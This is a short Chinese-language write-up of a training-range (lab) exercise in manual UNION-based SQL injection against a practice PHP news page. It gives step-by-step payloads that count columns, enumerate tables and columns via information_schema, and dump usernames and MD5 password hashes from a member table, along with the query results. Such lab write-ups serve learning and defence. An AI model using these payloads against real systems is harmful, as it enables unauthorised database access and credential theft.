背景:
??????? 自己在墨者官網靶場練習的時候,一直出錯,手工容易出錯,所以列舉一些信息供大家核對,可以參考改動。
數據庫版本version() 5.7.22-0ubuntu0.16.04.1
當前數據庫名稱database() mozhe_Discuz_StormGroup
當前數據庫用戶user() root@localhost
操作系統@@version_compile_os Linux
信息:
一、猜列
124.70.22.208:45582/new_list.php?id=-1 order by $number
結果:1,2,3,4,只顯示2,3
二、inmation_schema查表:
124.70.22.208:45582/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查詢結果:StormGroup_member,notice
三、①StormGroup_member表中的列:
124.70.22.208:45582/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查詢結果:id,name,password,status
四、②notice表中的列:
124.70.22.208:45582/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice'
查詢結果:id,title,content,time
分析:顯然StormGroup_member表中的列更符合預期,查其中的數據
五、查name,password:
124.70.22.208:45582/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
查詢結果,有兩個name和對應的password。
總結:
??????? md5解密后只有一個name可以使用。手工注入較為繁瑣,但能鍛煉對漏洞的理解,讀者們發現問題可私信交流。